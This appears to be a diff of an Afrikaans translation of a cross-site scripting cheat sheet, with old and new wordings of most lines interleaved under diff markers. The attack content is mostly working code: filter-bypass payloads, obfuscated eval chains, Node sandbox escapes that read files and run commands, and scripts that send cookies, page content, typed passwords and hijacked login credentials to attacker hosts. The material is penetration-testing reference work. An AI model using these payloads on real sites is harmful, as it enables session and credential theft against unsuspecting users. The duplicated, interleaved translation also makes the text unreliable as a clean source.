Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" event handlers**.\
In geval daar 'n blacklist is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende bypasses probeer:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -411,7 +411,7 @@ Android: %09 %20 %28 %2C %3B
```
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
Van [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om hidden inputs te misbruik met:**
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om hidden inputs te misbruik met:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -430,15 +430,15 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Vanaf [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload inside a hidden attribute** uitvoer, mits jy die **slachtoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox (Windows/Linux) is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die access key attribute te gebruik. Hier is die vektor:
Van [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload inside a hidden attribute** uitvoer, mits jy die **victim** kan **persuade** om die **key combination** in te druk. Op Firefox Windows/Linux is die key combination **ALT+SHIFT+X** en op OS X is die key combination **CTRL+ALT+X**. Jy kan 'n ander key combination spesifiseer deur 'n ander sleutel in die access key attribute te gebruik. Hier is die vector:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Die XSS payload sal iets soos die volgende wees: `" accesskey="x" onclick="alert(1)" x="`**
**Die XSS payload sal iets soos hierdie wees: `" accesskey="x" onclick="alert(1)" x="`**
### Blacklist Bypasses
Verskeie truuks met die gebruik van verskillende kodering is reeds in hierdie afdeling blootgelê. Gaan **terug om te leer waar jy dit kan gebruik:**
Verskeie truuks met die gebruik van verskillende koderinge is reeds in hierdie afdeling uitgewys. Gaan **terug om te leer waar jy kan gebruik:**
- **HTML encoding (HTML tags)**
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@ -456,11 +456,11 @@ Lees die J[avaScript bypass blacklist of the following section](#javascript-bypa
### CSS-Gadgets
As jy 'n **XSS in 'n baie klein deel** van die web vind wat 'n soort interaksie vereis (miskien 'n klein link in die footer met 'n onmouseover element), kan jy probeer om die **ruimte wat daardie element inneem te verander** om die waarskynlikheid dat die link geaktiveer word te maksimeer.
As jy 'n **XSS in 'n baie klein deel** van die web vind wat 'n soort interaksie vereis (miskien 'n klein link in die footer met 'n onmouseover element), kan jy probeer om **die ruimte wat daardie element inneem te verander** om die waarskynlikheid dat die link geaktiveer word te maksimeer.
Byvoorbeeld, jy kan style by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Byvoorbeeld, jy kan sulke styling by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Maar, as die WAF die style attribute filter, kan jy CSS Styling Gadgets gebruik; as jy byvoorbeeld vind
Maar as die WAF die style attribute filter, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind
> .test {display:block; color: blue; width: 100%\}
@ -468,7 +468,7 @@ en
> \#someid {top: 0; font-family: Tahoma;}
Nou kan jy ons skakel wysig en dit in die volgende vorm bring
Nou kan jy ons link wysig en dit in die volgende vorm bring
> \<a href="" id=someid class=test onclick=alert() a="">
@ -480,15 +480,15 @@ In hierdie geval sal jou **input** weerspieël word binne die JS code van 'n `.j
### Escaping \<script> tag
As jou code ingevoeg is binne `<script> [...] var input = 'reflected data' [...] </script>` kan jy maklik die sluiting van die `<script>` tag **escape**:
As jou code ingevoeg word binne `<script> [...] var input = 'reflected data' [...] </script>` kan jy maklik **escape die sluiting van die `<script>`** tag:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Neem kennis dat ons in hierdie voorbeeld **nie eers die enkele aanhalingsteken toegemaak het nie**. Dit is omdat **HTML parsing eers deur die browser uitgevoer word**, wat behels dat bladsy-elemente, insluitend blokke van script, geïdentifiseer word. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer, vind eers daarna plaas.
Let daarop dat in hierdie voorbeeld ons **het nie eers die enkele aanhalingsteken gesluit nie**. Dit is omdat **HTML parsing is performed first by the browser**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van script. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer word eers daarna uitgevoer.
### Binne JS-kode
### Binne JS code
As `<>` gesanitiseer word, kan jy steeds **die string ontsnap** waar jou invoer **geleë** is en **arbitrêre JS uitvoer**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
As `<>` gesanitiseer word, kan jy steeds **ontsnap die string** waar jou insette **geleë is** en **voer willekeurige JS uit**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS code nie uitgevoer word nie:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -496,25 +496,25 @@ As `<>` gesanitiseer word, kan jy steeds **die string ontsnap** waar jou invoer
```
#### JS-in-JS string break → inject → repair pattern
Wanneer gebruikersinvoer binne 'n quoted JavaScript string beland (e.g., server-side echo into an inline script), kan jy die string beëindig, kode injekteer en die sintaks herstel om parsing geldig te hou. Generiese geraamte:
Wanneer gebruikersinvoer binne 'n aangehaalde JavaScript-string beland (bv. server-side echo in 'n inline script), kan jy die string beëindig, code inject, en die sintaksis herstel sodat dit steeds geldig geparseer word. Generiese geraamte:
```
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
```
Voorbeeld-URL-patroon wanneer die kwesbare parameter in 'n JS-string weerspieël word:
Voorbeeld-URL-patroon wanneer die kwesbare parameter in 'n JS-string gereflekteer word:
```
?param=test";<INJECTION>;a="
```
Dit voer aanvaller-JS uit sonder om die HTML-konteks aan te raak (suiwer JS-in-JS). Kombineer dit met die swartlys-omseilings hieronder wanneer filters sleutelwoorde blokkeer.
Dit voer attacker JS uit sonder om die HTML-konteks te raak (puur JS-in-JS). Kombineer dit met die blacklist bypasses hieronder wanneer filters sleutelwoorde blokkeer.
### Template literals ``
Om **strings** te konstrueer, behalwe enkelle en dubbele aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien hulle toelaat om **embedded JS expressions** te gebruik met die `${ ... }` sintaksis.\
Daarom, as jy vind dat jou invoer binne 'n JS string wat backticks gebruik **reflected** word, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
Om **strings** te konstrueer, anders as enkel- en dubbel-aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit toelaat om **ingeslote JS-uitdrukkings** te gebruik met die `${ ... }` sintaksis.\
Daarom, as jy vind dat jou invoer binne 'n JS-string wat backticks gebruik **gereflekteer** word, kan jy die sintaksis `${ ... }` misbruik om **willekeurige JS-kode** uit te voer:
Dit kan **misbruik** word deur:
Dit kan **misbruik** word met:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -526,21 +526,21 @@ return loop
}
loop``
```
### Gekodeerde kode-uitvoering
### Encoded code execution
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
#### Aflewerbare payloads met eval(atob()) en scope-nuanses
#### Aflewerbare payloads met eval(atob()) en omvangnuanses
Om URLs korter te hou en naïewe sleutelwoordfilters te omseil, kan jy jou werklike logika in base64 enkodeer en dit evalueer met `eval(atob('...'))`. As eenvoudige sleutelwoordfiltrering identifiseerders soos `alert`, `eval`, of `atob` blokkeer, gebruik Unicode-escaped identifiseerders wat in die blaaier identies kompileer maar string-matching-filters omseil:
Om URL's korter te hou en eenvoudige sleutelwoordfilters te omseil, kan jy jou werklike logika in base64 enkodeer en dit evalueer met `eval(atob('...'))`. As eenvoudige sleutelwoordfiltering identifiseerders soos `alert`, `eval`, of `atob` blokkeer, gebruik Unicode-ontsnapte identifiseerders wat identies in die blaaier gecompileer word maar string-ooreenstemmingsfilters omseil:
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
Belangrike nuans in skoping: `const`/`let` wat binne `eval()` verklaar word is slegs binne daardie blok beskikbaar en skep NIE globale veranderlikes nie; hulle sal nie deur later scripts toeganklik wees nie. Gebruik 'n dinamies ingespuitde `<script>`-element om globale, nie-herbindbare hooks te definieer wanneer nodig (bv. om 'n form handler te kaap):
Belangrike scoping-nuans: `const`/`let` verklaar binne `eval()` is block-scoped en skep NIE globals nie; hulle sal nie toeganklik wees vir later scripts nie. Gebruik 'n dinamies ingevoegde `<script>` element om globale, non-rebindable hooks te definieer wanneer nodig (bv. om 'n form handler te hijack):
```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@ -548,13 +548,13 @@ document.head.appendChild(s);
```
Verwysing: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Unicode-kodering van JS-uitvoering
### Unicode-kodering vir JS-uitvoering
```javascript
alert(1)
alert(1)
alert(1)
```
### JavaScript tegnieke om swartlyste te omseil
### JavaScript bypass blacklists tegnieke
**Strings**
```javascript
@ -573,7 +573,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
```
**Spesiale ontsnapreekse**
**Spesiale ontsnaptekenreekse**
```javascript
"\b" //backspace
"\f" //form feed
@ -587,7 +587,7 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**Spasie-substitusies binne JS-kode**
**Spasievervangings binne JS-kode**
```javascript
<TAB>
/**/
@ -629,7 +629,7 @@ console.log(log)
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>
```
**Javascript binne 'n kommentaar**
**Javascript in 'n kommentaar**
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
@ -715,7 +715,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Ewekansige funksie-oproep (alert)**
**Arbitrêre funksie (alert) aanroep**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -777,45 +777,56 @@ top[8680439..toString(30)](1)
```
## **DOM vulnerabilities**
Daar is **JS code** wat **onveilige data wat deur ’n aanvaller beheer word** gebruik, soos `location.href`. ’n Aanvaller kan dit misbruik om ewekansige JS-kode uit te voer.\
**Weens die omvang van die verduideliking van** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
Daar is **JS code** wat **onskerlik data beheer deur 'n aanvaller'** gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.\
**As gevolg van die uitgerekte verduideliking oor** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Daar sal jy ’n gedetailleerde **verduideliking van wat DOM vulnerabilities is, hoe hulle veroorsaak word, en hoe om hulle uit te buit** vind.\
Ook, moenie vergeet dat **aan die einde van die genoemde pos** jy ’n verduideliking oor [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) kan vind.
Daar sal jy 'n gedetaileerde **verklaring vind van wat DOM vulnerabilities is, hoe dit veroorsaak word, en hoe om dit uit te buit**.\
Moet ook nie vergeet dat **aan die einde van die genoemde post** 'n verduideliking oor [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) te vinde is.
### Opgradering van Self-XSS
### Cookie XSS
As jy ’n XSS kan trigger deur die payload in ’n cookie te stuur, is dit gewoonlik ’n self-XSS. As jy egter ’n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om ’n cookie in die hele domein in te spuit en sodoende die cookie XSS in die hoofdomein of ander subdomeine (dié wat vatbaar is vir cookie XSS) te trigger. Hiervoor kan jy die cookie tossing attack gebruik:
As jy 'n XSS kan trigger deur die payload in 'n cookie te stuur, is dit gewoonlik 'n self-XSS. Indien jy egter 'n **vulnerable subdomain to XSS** vind, kan jy hierdie XSS misbruik om 'n cookie in die hele domein te inject en sodoende die cookie XSS in die hoofdomein of ander subdomeine (diegene vatbaar vir cookie XSS) te trigger. Hiervoor kan jy die cookie tossing attack gebruik:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
Jy kan ’n goeie misbruik van hierdie tegniek vind in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
Jy kan 'n goeie misbruik van hierdie tegniek vind in [**hierdie blogpost**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Sending your session to the admin
Miskien kan ’n gebruiker sy profiel met die admin deel, en as die self-XSS in die gebruiker se profiel voorkom en die admin dit oopmaak, sal hy die kwesbaarheid aktiveer.
Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die gebruiker se profiel is en die admin dit toegang, sal hy die kwesbaarheid trigger.
### Session Mirroring
Indien jy ’n self-XSS vind en die webblad ’n **session mirroring for administrators** het — byvoorbeeld wat kliënte toelaat om hulp te vra en sodat die admin sien wat jy in jou sessie sien maar vanuit sy eie sessie —
As jy 'n self XSS vind en die webblad het **session mirroring vir administrators**, byvoorbeeld kliënte kan om hulp vra en sodat die admin jou sessie sien om jou te help maar vanuit sy eie sessie.
Jy kan die **administrator laat jou self XSS aktiveer** en sy cookies/sessie steel.
Jy kan die **administrator jou self XSS laat trigger** en sy cookies/sessie steel.
## Ander Omseilings
### Genormaliseerde Unicode
### Bypassing sanitization via WASM linear-memory template overwrite
Jy kan nagaan of die **reflected values** op die bediener (of aan die kliëntkant) **unicode genormaliseer** word en hierdie funksionaliteit misbruik om beskermings te omseil. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
Wanneer 'n web app Emscripten/WASM gebruik, leef konstante strings (soos HTML format stubs) in skryfbare linear memory. 'n Enkele in‑WASM overflow (bv. unchecked memcpy in 'n edit path) kan aangrensende strukture korrupteer en skryfwerk na daardie konstantes herlei. Om 'n template soos "<article><p>%.*s</p></article>" na "<img src=1 onerror=%.*s>" oor te skryf verander gesanitiseerde invoer in 'n JavaScript handler waarde en lewer onmiddellike DOM XSS by render.
Kontroleer die toegewyde bladsy met exploitation workflow, DevTools memory helpers, en defenses:
{{#ref}}
wasm-linear-memory-template-overwrite-xss.md
{{#endref}}
### Normalised Unicode
Jy kan nagaan of die **reflected values** op die bediener (of aan kliëntkant) **unicode genormaliseer** word en hierdie funksionaliteit misbruik om beskerming te omseil. [**Vind 'n voorbeeld hier**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -823,8 +834,8 @@ Jy kan nagaan of die **reflected values** op die bediener (of aan die kliëntkan
```
### Ruby-On-Rails bypass
As gevolg van **RoR mass assignment** word aanhalingstekens in die HTML ingevoeg en word die aanhalingstekenbeperking omseil, sodat bykomende velde (onfocus) binne die tag bygevoeg kan word.\
Voorbeeld van 'n vorm ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
As gevolg van **RoR mass assignment** word aanhalingstekens in die HTML ingevoeg, en die aanhalingbeperking word omseil, sodat bykomende velde (onfocus) binne die tag bygevoeg kan word.\
Vormvoorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
@ -832,7 +843,7 @@ Die paar "Key","Value" sal soos volg teruggegee word:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Dan sal die onfocus-attribuut ingevoeg word en XSS sal plaasvind.
Dan sal die onfocus-attribuut ingevoeg word en XSS sal voorkom.
### Spesiale kombinasies
```html
@ -864,16 +875,16 @@ Dan sal die onfocus-attribuut ingevoeg word en XSS sal plaasvind.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
### XSS met header-inspuiting in 'n 302 Redirect-antwoord
As jy vind dat jy kan **inject headers in a 302 Redirect response** kan jy probeer om **make the browser execute arbitrary JavaScript**. Dit is **nie triviaal nie** aangesien moderne browsers nie die HTTP response body interpreteer as die HTTP response status code `302` is nie, so net 'n cross-site scripting payload is nutteloos.
As jy ontdek dat jy **headers in 'n 302 Redirect response kan injekteer** kan jy probeer om die **browser arbitrêre JavaScript uit te laat voer**. Dit is **nie eenvoudig nie**, aangesien moderne blaaiers die HTTP-response-lyfie nie interpreteer as die HTTP-response statuskode 302 is nie, so net 'n cross-site scripting payload is nutteloos.
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location header kan toets en kyk of enige van hulle die browser toelaat om die XSS payload binne die body te inspekteer en uit te voer.\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location header_, `resource://`.
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die browser toelaat om die XSS-payload binne die body te inspekteer en uit te voer.
Bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### Only Letters, Numbers and Dots
### Slegs Letters, Syfers en Punte
As jy die **callback** kan aandui wat javascript gaan **execute**, beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te sien hoe om hierdie gedrag te misbruik.
As jy in staat is om die **callback** wat JavaScript gaan **uitvoer** aan te dui, beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie post**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
### Valid `<script>` Content-Types to XSS
@ -912,7 +923,7 @@ const char* const kSupportedJavascriptTypes[] = {
Die antwoord is:
- **module** (standaard, niks om te verduidelik)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n funksie waarmee jy 'n klomp data (HTML, CSS, JS…) saam in 'n **`.wbn`** lêer kan verpak.
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n funksie waarmee jy 'n klomp data (HTML, CSS, JS…) saam kan pak in 'n **`.wbn`** lêer.
```html
<script type="webbundle">
{
@ -939,9 +950,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Hierdie gedrag is gebruik in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek na eval te herlei en dit misbruik om XSS te veroorsaak.
Hierdie gedrag is gebruik in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) om 'n library na eval te herkaarteer en dit te misbruik om XSS te veroorsaak.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie funksie is hoofsaaklik bedoel om sommige probleme wat deur pre-rendering veroorsaak word, op te los. Dit werk soos volg:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie feature is hoofsaaklik bedoel om sommige probleme wat deur pre-rendering veroorsaak word op te los. Dit werk soos volg:
```html
<script type="speculationrules">
{
@ -957,24 +968,24 @@ Hierdie gedrag is gebruik in [**this writeup**](https://github.com/zwade/yaca/tr
}
</script>
```
### Web Content-Types na XSS
### Web Content-Types to XSS
(Vanaf [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende Content-Types kan XSS in alle browsers uitvoer:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende content types kan XSS in alle blaaiers uitvoer:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- text/plain (?? nie op die lys nie maar ek dink ek het dit in 'n CTF gesien)
- application/rss+xml (off)
- application/atom+xml (off)
In ander browsers kan ander **`Content-Types`** gebruik word om willekeurige JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrary JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
As die bladsy 'n text/xml content-type terugstuur, is dit moontlik om 'n namespace aan te dui en willekeurige JS uit te voer:
As die bladsy 'n text/xml content-type teruggee, is dit moontlik om 'n namespace aan te dui en arbitrary JS uit te voer:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -982,11 +993,11 @@ As die bladsy 'n text/xml content-type terugstuur, is dit moontlik om 'n namespa
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### Spesiale Vervangingspatrone
### Spesiale vervangingspatrone
Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word, kan die aanvaller [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) gebruik om sekere beskermings te omseil: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
As iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word, kan die aanvaller [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) gebruik om te probeer sekere beskermings te omseil: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Byvoorbeeld in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om **'n JSON-string te ontsnap** binne 'n script en enige kode uit te voer.
Byvoorbeeld in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code.
### Chrome Cache to XSS
@ -1028,22 +1039,22 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
As **alles ongedefinieer** is voordat onbetroubare kode uitgevoer word (soos in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), is dit moontlik om nuttige objekte "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
As **alles is undefined** voordat onbetroubare kode uitgevoer word (soos in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), is dit moontlik om nuttige objekte "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
- Deur import() te gebruik
- Gebruik import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- Indirek toegang tot `require`
- Indirekte toegang tot `require`
[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js in 'n funksie ingepak, soos volg:
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js binne 'n funksie toegedraai, soos volg:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
Daarom, as ons van daardie module af **'n ander funksie kan oproep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om toegang tot **`require`** te kry:
Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om by **`require`** toegang te kry:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1052,7 +1063,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Op 'n soortgelyke wyse as die vorige voorbeeld, is dit moontlik om **use error handlers** te gebruik om toegang tot die **wrapper** van die module te kry en die **`require`** funksie te bekom:
Op 'n soortgelyke manier as die vorige voorbeeld is dit moontlik om deur middel van **error handlers** toegang te kry tot die **wrapper** van die module en die **`require`** funksie te verkry:
```javascript
try {
null.f()
@ -1090,9 +1101,9 @@ console.log(req("child_process").execSync("id").toString())
}
trigger()
```
### Obskurering & Gevorderde Omseiling
### Obfuscation & Advanced Bypass
- **Verskillende obskurerings op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- **Verskillende obfuscations op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@ -1282,7 +1293,7 @@ steal-info-js.md
### Iframe Trap
Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en steel sy/haar aksies (insluitend inligting wat in vorms gestuur word):
Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en steel sy handelinge (insluitend inligting wat in vorms gestuur word):
{{#ref}}
@ -1312,9 +1323,9 @@ Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en ste
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!TIP]
> Jy **sal nie toegang tot die cookies vanaf JavaScript hê nie** as die HTTPOnly flag in die cookie gestel is. Maar hier het jy [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg.
> Jy **sal nie deur JavaScript toegang tot die cookies kry nie** as die HTTPOnly flag in die cookie gestel is. Maar hier het jy [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
### Steal Page Content
### Steel Bladsyinhoud
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1388,7 +1399,7 @@ q.shift()()
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Port Scanner (websockets)
### Poortskandeerder (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1403,15 +1414,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Korte tye dui op 'n reagerende poort_ _Langere tye dui op geen reaksie nie._
_Kort tye dui op 'n reagerende port_ _Langer tye dui op geen reaksie nie._
Kontroleer die lys van hawens wat in Chrome geblokkeer is [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Kyk na die lys van ports wat in Chrome geblokkeer is [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Kassie om inlogbesonderhede te vra
### Boks om vir credentials te vra
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Vasvang van Auto-fill passwords
### Auto-fill passwords vangs
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1422,11 +1433,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Wanneer enige data in die password field ingevoer word, word die username en password na die attackers server gestuur — selfs as die kliënt 'n saved password kies en niks tik nie, sal die credentials ex-filtrated word.
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
### Hijack form handlers to exfiltrate credentials (const shadowing)
As 'n kritieke handler (bv., `function DoLogin(){...}`) later in die bladsy gedeclareer word, en jou payload vroeër uitgevoer word (bv., via 'n inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler te voorkom en te vergrendel. Later funksie-deklarasies kan nie 'n `const`-naam herbinde nie, en laat jou hook in beheer:
